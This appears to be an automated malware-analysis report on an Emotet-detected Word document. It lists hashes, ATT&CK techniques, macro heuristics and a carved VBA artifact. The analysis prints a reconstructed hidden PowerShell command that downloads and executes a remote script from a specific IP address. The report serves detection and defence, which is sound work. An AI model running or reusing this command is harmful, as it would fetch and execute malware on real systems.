Emotet Office (OLE) / .DOCX malware analysis — malicious · 21bdbf6ef88670da

MALICIOUS

Office (OLE) / .DOCX

168.2 KB Created: 2020-09-14 11:57:00 Authoring application: Microsoft Office Word

MD5: ee797394b1ba1a6e36ccf6314f81f4d5 SHA-1: 1c86b5c07e412687d93d14b88eae12a75726a261 SHA-256: 21bdbf6ef88670da6f32d97e4d4d1ddaad79bbee1a8d10d476ef78b5a63e14b3

240 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment

The critical ClamAV detection and high-severity heuristics for VBA macros, specifically the Document_Open auto-execution and CreateObject calls, strongly indicate malicious intent. The extracted VBA code, when partially reconstructed, reveals a PowerShell command designed to download and execute a script from a remote URL. This is a common delivery mechanism for Emotet. The reconstructed PowerShell command is: powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://185.100.127.134/a.ps1')".

Heuristics 7

ClamAV: Doc.Malware.Emotet-9762269-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Emotet-9762269-0
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `8a39fc8d6eec119bccb9074c742cbab236c89f429d1a306c2818d1568d873603`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	25223 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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